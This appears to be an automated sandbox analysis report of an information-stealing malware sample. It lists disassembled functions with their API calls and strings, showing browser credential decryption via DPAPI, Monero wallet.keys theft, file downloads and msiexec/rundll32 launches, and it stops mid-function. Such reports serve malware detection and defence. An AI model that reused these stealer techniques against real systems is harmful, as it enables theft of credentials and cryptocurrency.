Instruction Fuzzy Hash: A78194B55111186BCB14FBA1CD52FEE7338AF44308F40419EB30A66082DE786AD9CF6E

Function 00419010 Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 184COMMON

Download Yara Rule

APIs

CreateStreamOnHGlobal.COMBASE(00000000,00000001,?), ref: 0041906C

Strings

image/jpeg, xrefs: 00419136

Memory Dump Source

Source File: 00000000.00000002.1879542620.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1879542620.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1879542620.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1879542620.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1879542620.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1879542620.000000000065C000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: CreateGlobalStream
String ID: image/jpeg
API String ID: 2244384528-3785015651
Opcode ID: 58e7ea74754b36ef7d8ae6683782e5e72f3db2d118764dcc0ce216f86dba9a95
Instruction ID: d6dc09ab2bfedf2d54b470b914d8c7211c5e4dd185e8bb692af35d1d417654b8
Opcode Fuzzy Hash: 58e7ea74754b36ef7d8ae6683782e5e72f3db2d118764dcc0ce216f86dba9a95
Instruction Fuzzy Hash: 7D711B75A40208BBDB04EFE4DC99FEEB7B9FB48300F108509F515A7290DB38A945CB65

Function 004112D0 Relevance: 19.8, APIs: 13, Instructions: 308stringCOMMON

Download Yara Rule

APIs

strtok_s.MSVCRT ref: 00411307
strtok_s.MSVCRT ref: 00411750

Part of subcall function 0041A820: lstrlenA.KERNEL32(00000000,?,?,00415B54,00420ADB,00420ADA,?,?,00416B16,00000000,?,024B6258,?,0042110C,?,00000000), ref: 0041A82B
Part of subcall function 0041A820: lstrcpy.KERNEL32(B,00000000), ref: 0041A885

Memory Dump Source

Source File: 00000000.00000002.1879542620.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1879542620.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1879542620.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1879542620.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1879542620.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1879542620.000000000065C000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: strtok_s$lstrcpylstrlen
String ID:
API String ID: 348468850-0
Opcode ID: bde3d88e76cb374dc77a589280481c748b3d98596421ad73c644b27d853b8bc6
Instruction ID: 4a233ae47f87f64f9a2ed81d2cca976e3c75948f423937a2df4e62cfbc7c3e06
Opcode Fuzzy Hash: bde3d88e76cb374dc77a589280481c748b3d98596421ad73c644b27d853b8bc6
Instruction Fuzzy Hash: C7C1D6B5941218ABCB14EF60DC89FEA7379BF54304F00449EF50AA7241DB78AAC5CF95

Function 00412E30 Relevance: 19.7, APIs: 3, Strings: 8, Instructions: 469COMMON

Download Yara Rule

APIs

Part of subcall function 0041A740: lstrcpy.KERNEL32(B,00000000), ref: 0041A788

ShellExecuteEx.SHELL32(0000003C), ref: 004131C5
ShellExecuteEx.SHELL32(0000003C), ref: 0041335D
ShellExecuteEx.SHELL32(0000003C), ref: 004134EA

Strings

/i ", xrefs: 004133E4
C:\Windows\system32\msiexec.exe, xrefs: 004134BF
.msi, xrefs: 00413398
"" , xrefs: 0041309A
<, xrefs: 00413490
/passive, xrefs: 0041345B
.dll, xrefs: 004131E5
C:\Windows\system32\rundll32.exe, xrefs: 00413332

Memory Dump Source

Source File: 00000000.00000002.1879542620.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1879542620.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1879542620.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1879542620.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1879542620.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1879542620.000000000065C000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: ExecuteShell$lstrcpy
String ID: /i "$ /passive$"" $.dll$.msi$<$C:\Windows\system32\msiexec.exe$C:\Windows\system32\rundll32.exe
API String ID: 2507796910-3625054190
Opcode ID: fa2f7c491e836ffa03b321dca4939e5102b2c3a10a2cb7c6d0d10a73c0b6426c
Instruction ID: 17233f41fb1950bff335544576ea1941aa871c2d7c6c7a5a475621d351ca9112
Opcode Fuzzy Hash: fa2f7c491e836ffa03b321dca4939e5102b2c3a10a2cb7c6d0d10a73c0b6426c
Instruction Fuzzy Hash: 96125F718111089ADB09FBA1DD92FEEB778AF14314F50415EF10666091EF382BDACF6A

Function 040B44E7 Relevance: 19.7, APIs: 13, Instructions: 202stringCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 040B4505
memset.MSVCRT ref: 040B451C

Part of subcall function 040B9047: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 040B9072

lstrcat.KERNEL32(?,00000000), ref: 040B4553
lstrcat.KERNEL32(?,0064A30C), ref: 040B4572
lstrcat.KERNEL32(?,?), ref: 040B4586
lstrcat.KERNEL32(?,0064A5D8), ref: 040B459A

Part of subcall function 040BA9A7: lstrcpy.KERNEL32(00420E17,00000000), ref: 040BA9EF

Part of subcall function 040B8FF7: GetFileAttributesA.KERNEL32(00000000,?,040A1DBB,?,?,00425654,?,?,00420E1F), ref: 040B9006

Part of subcall function 040A9F47: StrStrA.SHLWAPI(00000000,004212AC), ref: 040A9FA0
Part of subcall function 040A9F47: memcmp.MSVCRT(?,0042125C,00000005), ref: 040A9FF9

Part of subcall function 040A9C27: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 040A9C53
Part of subcall function 040A9C27: GetFileSizeEx.KERNEL32(000000FF,?), ref: 040A9C78
Part of subcall function 040A9C27: LocalAlloc.KERNEL32(00000040,?), ref: 040A9C98
Part of subcall function 040A9C27: ReadFile.KERNEL32(000000FF,?,00000000,040A16F6,00000000), ref: 040A9CC1
Part of subcall function 040A9C27: LocalFree.KERNEL32(040A16F6), ref: 040A9CF7
Part of subcall function 040A9C27: CloseHandle.KERNEL32(000000FF), ref: 040A9D01

Part of subcall function 040B9627: GlobalAlloc.KERNEL32(00000000,040B4644,040B4644), ref: 040B963A

StrStrA.SHLWAPI(?,0064A0D8), ref: 040B465A
GlobalFree.KERNEL32(?), ref: 040B4779

Part of subcall function 040A9D27: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,040A5155,00000000,00000000), ref: 040A9D56
Part of subcall function 040A9D27: LocalAlloc.KERNEL32(00000040,?,?,?,040A5155,00000000,?), ref: 040A9D68
Part of subcall function 040A9D27: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,040A5155,00000000,00000000), ref: 040A9D91
Part of subcall function 040A9D27: LocalFree.KERNEL32(?,?,?,?,040A5155,00000000,?), ref: 040A9DA6

Part of subcall function 040AA077: memcmp.MSVCRT(?,00421264,00000003), ref: 040AA094

lstrcat.KERNEL32(?,00000000), ref: 040B470A
StrCmpCA.SHLWAPI(?,004208D1), ref: 040B4727
lstrcat.KERNEL32(00000000,00000000), ref: 040B4739
lstrcat.KERNEL32(00000000,?), ref: 040B474C
lstrcat.KERNEL32(00000000,00420FB8), ref: 040B475B

Memory Dump Source

Source File: 00000000.00000002.1881130721.00000000040A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 040A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_40a0000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$FileLocal$AllocFree$BinaryCryptGlobalStringmemcmpmemset$AttributesCloseCreateFolderHandlePathReadSizelstrcpy
String ID:
API String ID: 1191620704-0
Opcode ID: e8d6e6767f46891ec996ef8822d66cebf734f8a34e2b49da607d012598c1f812
Instruction ID: a068f4b7a22d437a125a5e5fe81f3d781979cebf948d4579297844b040241142
Opcode Fuzzy Hash: e8d6e6767f46891ec996ef8822d66cebf734f8a34e2b49da607d012598c1f812
Instruction Fuzzy Hash: 267164B6A00218BBDB14FBF0DC45FEE73B9AF48304F008598E645A6180DA75EB55CF95

Function 00414280 Relevance: 19.7, APIs: 13, Instructions: 202stringCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 0041429E
memset.MSVCRT ref: 004142B5

Part of subcall function 00418DE0: SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?,?,000003E8), ref: 00418E0B

lstrcatA.KERNEL32(?,00000000), ref: 004142EC
lstrcatA.KERNEL32(?,024EBE10), ref: 0041430B
lstrcatA.KERNEL32(?,?), ref: 0041431F
lstrcatA.KERNEL32(?,024EBBE8), ref: 00414333

Part of subcall function 0041A740: lstrcpy.KERNEL32(B,00000000), ref: 0041A788

Part of subcall function 00418D90: GetFileAttributesA.KERNEL32(00000000,?,00410117,?,00000000,?,00000000,00420DAB,00420DAA), ref: 00418D9F

Part of subcall function 00409CE0: StrStrA.SHLWAPI(00000000,"encrypted_key":"), ref: 00409D39
Part of subcall function 00409CE0: memcmp.MSVCRT(?,DPAPI,00000005), ref: 00409D92

Part of subcall function 004099C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 004099EC
Part of subcall function 004099C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00409A11
Part of subcall function 004099C0: LocalAlloc.KERNEL32(00000040,?), ref: 00409A31
Part of subcall function 004099C0: ReadFile.KERNEL32(000000FF,?,00000000,004102E7,00000000), ref: 00409A5A
Part of subcall function 004099C0: LocalFree.KERNEL32(004102E7), ref: 00409A90
Part of subcall function 004099C0: CloseHandle.KERNEL32(000000FF), ref: 00409A9A

Part of subcall function 004193C0: GlobalAlloc.KERNEL32(00000000,004143DD,004143DD), ref: 004193D3

StrStrA.SHLWAPI(?,024ECB90), ref: 004143F3
GlobalFree.KERNEL32(?), ref: 00414512

Part of subcall function 00409AC0: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,N@,00000000,00000000), ref: 00409AEF
Part of subcall function 00409AC0: LocalAlloc.KERNEL32(00000040,?,?,?,00404EEE,00000000,?), ref: 00409B01
Part of subcall function 00409AC0: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,N@,00000000,00000000), ref: 00409B2A
Part of subcall function 00409AC0: LocalFree.KERNEL32(?,?,?,?,00404EEE,00000000,?), ref: 00409B3F

Part of subcall function 00409E10: memcmp.MSVCRT(?,v20,00000003), ref: 00409E2D

lstrcatA.KERNEL32(?,00000000), ref: 004144A3
StrCmpCA.SHLWAPI(?,004208D1), ref: 004144C0
lstrcatA.KERNEL32(00000000,00000000), ref: 004144D2
lstrcatA.KERNEL32(00000000,?), ref: 004144E5
lstrcatA.KERNEL32(00000000,00420FB8), ref: 004144F4

Memory Dump Source

Source File: 00000000.00000002.1879542620.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1879542620.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1879542620.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1879542620.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1879542620.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1879542620.000000000065C000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$FileLocal$AllocFree$BinaryCryptGlobalStringmemcmpmemset$AttributesCloseCreateFolderHandlePathReadSizelstrcpy
String ID:
API String ID: 1191620704-0
Opcode ID: 35dc9abe077a93c729557fad744a15183afba98a1ba7520b66c4d280a3250323
Instruction ID: 36ee7f3ac4f34f2e69ac811a17adbc1f593ee72d5fdd25ff7e799b1d0bb6bc25
Opcode Fuzzy Hash: 35dc9abe077a93c729557fad744a15183afba98a1ba7520b66c4d280a3250323
Instruction Fuzzy Hash: 0B7165B6900208BBDB14FBE0DC85FEE7379AB88304F00459DF605A7181EA78DB55CB95

Function 00401310 Relevance: 19.4, APIs: 7, Strings: 4, Instructions: 139stringfileCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00401327

Part of subcall function 004012A0: GetProcessHeap.KERNEL32(00000000,00000104,80000001), ref: 004012B4
Part of subcall function 004012A0: HeapAlloc.KERNEL32(00000000), ref: 004012BB
Part of subcall function 004012A0: RegOpenKeyExA.ADVAPI32(000000FF,?,00000000,00020119,?), ref: 004012D7
Part of subcall function 004012A0: RegQueryValueExA.ADVAPI32(?,000000FF,00000000,00000000,000000FF,000000FF), ref: 004012F5
Part of subcall function 004012A0: RegCloseKey.ADVAPI32(?), ref: 004012FF

lstrcatA.KERNEL32(?,00000000), ref: 0040134F
lstrlenA.KERNEL32(?), ref: 0040135C
lstrcatA.KERNEL32(?,.keys), ref: 00401377

Part of subcall function 0041A740: lstrcpy.KERNEL32(B,00000000), ref: 0041A788

Part of subcall function 0041A9B0: lstrlenA.KERNEL32(?,00421110,?,00000000,00420AEF), ref: 0041A9C5
Part of subcall function 0041A9B0: lstrcpy.KERNEL32(00000000), ref: 0041AA04
Part of subcall function 0041A9B0: lstrcatA.KERNEL32(00000000,00000000), ref: 0041AA12

Part of subcall function 0041A8A0: lstrcpy.KERNEL32(?,B), ref: 0041A905

Part of subcall function 00418B60: GetSystemTime.KERNEL32(?,024B9798,004205AE,?,?,?,?,?,?,?,?,?,00404963,?,00000014), ref: 00418B86

Part of subcall function 0041A920: lstrcpy.KERNEL32(00000000,?), ref: 0041A972
Part of subcall function 0041A920: lstrcatA.KERNEL32(00000000), ref: 0041A982

CopyFileA.KERNEL32(?,00000000,00000001), ref: 00401465

Part of subcall function 0041A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0041A7E6

Part of subcall function 004099C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 004099EC
Part of subcall function 004099C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00409A11
Part of subcall function 004099C0: LocalAlloc.KERNEL32(00000040,?), ref: 00409A31
Part of subcall function 004099C0: ReadFile.KERNEL32(000000FF,?,00000000,004102E7,00000000), ref: 00409A5A
Part of subcall function 004099C0: LocalFree.KERNEL32(004102E7), ref: 00409A90
Part of subcall function 004099C0: CloseHandle.KERNEL32(000000FF), ref: 00409A9A

DeleteFileA.KERNEL32(00000000), ref: 004014EF
memset.MSVCRT ref: 00401516

Strings

\Monero\wallet.keys, xrefs: 0040138D
.keys, xrefs: 0040136B
SOFTWARE\monero-project\monero-core, xrefs: 00401335
wallet_path, xrefs: 00401330

Memory Dump Source

Source File: 00000000.00000002.1879542620.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1879542620.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1879542620.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1879542620.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1879542620.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1879542620.000000000065C000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: Filelstrcpy$lstrcat$AllocCloseHeapLocallstrlenmemset$CopyCreateDeleteFreeHandleOpenProcessQueryReadSizeSystemTimeValue
String ID: .keys$SOFTWARE\monero-project\monero-core$\Monero\wallet.keys$wallet_path
API String ID: 1930502592-218353709
Opcode ID: 2b826a0f646ba4068e1c47d902010c813df356d60d5a4c6e57d199a22263e09a
Instruction ID: 456b5fac361f61c5265e43a16bd15ab14158e39c7f71a6669150f14a30e0c61c
Opcode Fuzzy Hash: 2b826a0f646ba4068e1c47d902010c813df356d60d5a4c6e57d199a22263e09a
Instruction Fuzzy Hash: 565164B1D5011897CB15FB61DD91BED733CAF54304F4041ADB60A62092EE385BD9CBAA

Function 004152C0 Relevance: 19.4, APIs: 6, Strings: 5, Instructions: 138stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0041A7E6

Part of subcall function 00406280: InternetOpenA.WININET(00420DFE,00000001,00000000,00000000,00000000), ref: 004062E1
Part of subcall function 00406280: StrCmpCA.SHLWAPI(?,024E9120), ref: 00406303
Part of subcall function 00406280: InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00406335
Part of subcall function 00406280: HttpOpenRequestA.WININET(00000000,GET,?,024ECDB8,00000000,00000000,00400100,00000000), ref: 00406385
Part of subcall function 00406280: InternetSetOptionA.WININET(00000000,0000001F,?,00000004), ref: 004063BF
Part of subcall function 00406280: HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 004063D1

Part of subcall function 0041A8A0: lstrcpy.KERNEL32(?,B), ref: 0041A905

StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00415318
lstrlenA.KERNEL32(00000000), ref: 0041532F

Part of subcall function 00418E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00418E52

StrStrA.SHLWAPI(00000000,00000000), ref: 00415364
lstrlenA.KERNEL32(00000000), ref: 00415383
strtok.MSVCRT(00000000,?), ref: 0041539E
lstrlenA.KERNEL32(00000000), ref: 004153AE

Part of subcall function 0041A740: lstrcpy.KERNEL32(B,00000000), ref: 0041A788

Strings

ERROR, xrefs: 004154A9
ERROR, xrefs: 0041530A
ERROR, xrefs: 00415432
ERROR, xrefs: 0041546F
ERROR, xrefs: 004153B9

Memory Dump Source

Source File: 00000000.00000002.1879542620.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1879542620.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1879542620.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1879542620.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1879542620.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1879542620.000000000065C000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: Internetlstrcpylstrlen$HttpOpenRequest$AllocConnectLocalOptionSendstrtok
String ID: ERROR$ERROR$ERROR$ERROR$ERROR
API String ID: 3532888709-1526165396
Opcode ID: 55afdb5b044d9d0ae2ca40548a036d1fafadf4502d9a6ff2b082a7fa121a3b9b
Instruction ID: 2e955e57ea7f1c083e6e45f715f374ff83ee784ca3e0e9be4ff8c8b21657e330
Opcode Fuzzy Hash: 55afdb5b044d9d0ae2ca40548a036d1fafadf4502d9a6ff2b082a7fa121a3b9b
Instruction Fuzzy Hash: 1A514130911108EBCB14FF61CD92AED7779AF50358F50402EF80A6B591DF386B96CB6A

Function 004060A0 Relevance: 19.4, APIs: 9, Strings: 2, Instructions: 133networkfileCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0041A7E6

Part of subcall function 004047B0: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 004047EA
Part of subcall function 004047B0: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 00404801
Part of subcall function 004047B0: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 00404818
Part of subcall function 004047B0: lstrlenA.KERNEL32(00000000,00000000,0000003C), ref: 00404839
Part of subcall function 004047B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 00404849

InternetOpenA.WININET(00420DF7,00000001,00000000,00000000,00000000), ref: 0040610F
StrCmpCA.SHLWAPI(?,024E9120), ref: 00406147
InternetOpenUrlA.WININET(00000000,00000000,00000000,00000000,00000100,00000000), ref: 0040618F
CreateFileA.KERNEL32(00000000,40000000,00000003,00000000,00000002,00000080,00000000), ref: 004061B3
InternetReadFile.WININET(a+A,?,00000400,?), ref: 004061DC
WriteFile.KERNEL32(?,?,00000000,?,00000000), ref: 0040620A
CloseHandle.KERNEL32(?,?,00000400), ref: 00406249
InternetCloseHandle.WININET(a+A), ref: 00406253
InternetCloseHandle.WININET(00000000), ref: 00406260

Strings

a+A, xrefs: 0040624F, 004061D8, 004061DB, 00406252
a+A, xrefs: 004060B0, 0040617F, 00406266, 00406124, 004060B3

Memory Dump Source

Source File: 00000000.00000002.1879542620.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1879542620.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1879542620.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1879542620.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1879542620.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1879542620.000000000065C000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: Internet$??2@CloseFileHandle$Open$CrackCreateReadWritelstrcpylstrlen
String ID: a+A$a+A
API String ID: 4287319946-2847607090
Opcode ID: 4f54e106c83d2cad8501facd8a7162983f10c7e98b0fc324723d48a002eab14d
Instruction ID: d3b4a7caf446de9355e244355c8e16b321895ac976a44b0a7cc1b08be2cc8b72
Opcode Fuzzy Hash: 4f54e106c83d2cad8501facd8a7162983f10c7e98b0fc324723d48a002eab14d
Instruction Fuzzy Hash: 735194B5940218ABDB20EF90DC45BEE77B9EB04305F1040ADB606B71C0DB786A85CF9A

Function 040B0CC7 Relevance: 18.2, APIs: 12, Instructions: 205stringprocesssynchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 040BA9A7: lstrcpy.KERNEL32(00420E17,00000000), ref: 040BA9EF

memset.MSVCRT ref: 040B0E83
lstrcat.KERNEL32(?,00000000), ref: 040B0E9C
lstrcat.KERNEL32(?,00420D7C), ref: 040B0EAE
lstrcat.KERNEL32(?,00000000), ref: 040B0EC4
lstrcat.KERNEL32(?,00420D80), ref: 040B0ED6
lstrcat.KERNEL32(?,00000000), ref: 040B0EEF
lstrcat.KERNEL32(?,00420D84), ref: 040B0F01
lstrlen.KERNEL32(?), ref: 040B0F0E
memset.MSVCRT ref: 040B0F34
memset.MSVCRT ref: 040B0F48

Part of subcall function 040BAA87: lstrlen.KERNEL32(040A516C,?,?,040A516C,00420DDE), ref: 040BAA92
Part of subcall function 040BAA87: lstrcpy.KERNEL32(00420DDE,00000000), ref: 040BAAEC

Part of subcall function 040B8DC7: GetSystemTime.KERNEL32(00420E1A,0064A2A4,004205AE,?,?,040A1660,?,0000001A,00420E1A,00000000,?,0064A1F0,?,00424FB4,00420E17), ref: 040B8DED

Part of subcall function 040BAB87: lstrcpy.KERNEL32(00000000,?), ref: 040BABD9
Part of subcall function 040BAB87: lstrcat.KERNEL32(00000000), ref: 040BABE9

Part of subcall function 040BAC17: lstrlen.KERNEL32(?,0064A1F0,?,00424FB4,00420E17), ref: 040BAC2C
Part of subcall function 040BAC17: lstrcpy.KERNEL32(00000000), ref: 040BAC6B
Part of subcall function 040BAC17: lstrcat.KERNEL32(00000000,00000000), ref: 040BAC79

Part of subcall function 040BAB07: lstrcpy.KERNEL32(?,00420E17), ref: 040BAB6C

Part of subcall function 040BAA07: lstrcpy.KERNEL32(?,00000000), ref: 040BAA4D

Part of subcall function 040B9927: CreateFileA.KERNEL32(00000000,40000000,00000000,00000000,00000002,00000080,00000000,?,040B0DEC,?,00000000,?,00000000,004205C6,004205C5), ref: 040B9948

CreateProcessA.KERNEL32(00000000,00000000,00000000,00000000,00000001,00000020,00000000,00000000,?,?,00000000,?,00420D88,?,00000000), ref: 040B0FC1
WaitForSingleObject.KERNEL32(?,000000FF), ref: 040B0FCD

Memory Dump Source

Source File: 00000000.00000002.1881130721.00000000040A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 040A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_40a0000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$lstrcpy$lstrlenmemset$Create$FileObjectProcessSingleSystemTimeWait
String ID:
API String ID: 1395395982-0
Opcode ID: 611dee48b04e9e0e2afdbc6d63dcd8839025fdd060787a2fa850c35645432629
Instruction ID: 8b250215d151303b35db52350da2266e2793440c281466e31ccc09d8ffc54540
Opcode Fuzzy Hash: 611dee48b04e9e0e2afdbc6d63dcd8839025fdd060787a2fa850c35645432629
Instruction Fuzzy Hash: ED8170B5610218ABDB14EBA0DD51FEE7379AF4420CF404199A34676091EF747B88CFAD

Function 040B0CB6 Relevance: 18.2, APIs: 12, Instructions: 185stringprocesssynchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 040BA9A7: lstrcpy.KERNEL32(00420E17,00000000), ref: 040BA9EF

memset.MSVCRT ref: 040B0E83
lstrcat.KERNEL32(?,00000000), ref: 040B0E9C
lstrcat.KERNEL32(?,00420D7C), ref: 040B0EAE
lstrcat.KERNEL32(?,00000000), ref: 040B0EC4
lstrcat.KERNEL32(?,00420D80), ref: 040B0ED6
lstrcat.KERNEL32(?,00000000), ref: 040B0EEF
lstrcat.KERNEL32(?,00420D84), ref: 040B0F01
lstrlen.KERNEL32(?), ref: 040B0F0E
memset.MSVCRT ref: 040B0F34
memset.MSVCRT ref: 040B0F48

Part of subcall function 040BAA87: lstrlen.KERNEL32(040A516C,?,?,040A516C,00420DDE), ref: 040BAA92
Part of subcall function 040BAA87: lstrcpy.KERNEL32(00420DDE,00000000), ref: 040BAAEC

Part of subcall function 040B8DC7: GetSystemTime.KERNEL32(00420E1A,0064A2A4,004205AE,?,?,040A1660,?,0000001A,00420E1A,00000000,?,0064A1F0,?,00424FB4,00420E17), ref: 040B8DED

Part of subcall function 040BAB87: lstrcpy.KERNEL32(00000000,?), ref: 040BABD9
Part of subcall function 040BAB87: lstrcat.KERNEL32(00000000), ref: 040BABE9

Part of subcall function 040BAC17: lstrlen.KERNEL32(?,0064A1F0,?,00424FB4,00420E17), ref: 040BAC2C
Part of subcall function 040BAC17: lstrcpy.KERNEL32(00000000), ref: 040BAC6B
Part of subcall function 040BAC17: lstrcat.KERNEL32(00000000,00000000), ref: 040BAC79

Part of subcall function 040BAB07: lstrcpy.KERNEL32(?,00420E17), ref: 040BAB6C

Part of subcall function 040BAA07: lstrcpy.KERNEL32(?,00000000), ref: 040BAA4D

Part of subcall function 040B9927: CreateFileA.KERNEL32(00000000,40000000,00000000,00000000,00000002,00000080,00000000,?,040B0DEC,?,00000000,?,00000000,004205C6,004205C5), ref: 040B9948

CreateProcessA.KERNEL32(00000000,00000000,00000000,00000000,00000001,00000020,00000000,00000000,?,?,00000000,?,00420D88,?,00000000), ref: 040B0FC1
WaitForSingleObject.KERNEL32(?,000000FF), ref: 040B0FCD

Memory Dump Source

Source File: 00000000.00000002.1881130721.00000000040A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 040A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_40a0000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$lstrcpy$lstrlenmemset$Create$FileObjectProcessSingleSystemTimeWait
String ID:
API String ID: 1395395982-0
Opcode ID: 5f02957f32bc588cc3f78102301ac57cffd73d36a7e7861b7e9dc44853b35b92
Instruction ID: 5565df0a60d927569ca8db978aaecda62d55b25ab0ff58ba0b578a22d2ae54fd
Opcode Fuzzy Hash: 5f02957f32bc588cc3f78102301ac57cffd73d36a7e7861b7e9dc44853b35b92
Instruction Fuzzy Hash: 49618FB5610218ABDB24EBA0DD45FEE7738AF4430CF404199A74676091EB747B88CFAD

Function 040A4AE7 Relevance: 17.0, APIs: 11, Instructions: 479networkstringfileCOMMON

Download Yara Rule

APIs

Part of subcall function 040BAA07: lstrcpy.KERNEL32(?,00000000), ref: 040BAA4D

Part of subcall function 040A4A17: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 040A4A51
Part of subcall function 040A4A17: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 040A4A68
Part of subcall function 040A4A17: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 040A4A7F
Part of subcall function 040A4A17: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 040A4AA0
Part of subcall function 040A4A17: InternetCrackUrlA.WININET(00000000,00000000), ref: 040A4AB0

Part of subcall function 040BA9A7: lstrcpy.KERNEL32(00420E17,00000000), ref: 040BA9EF

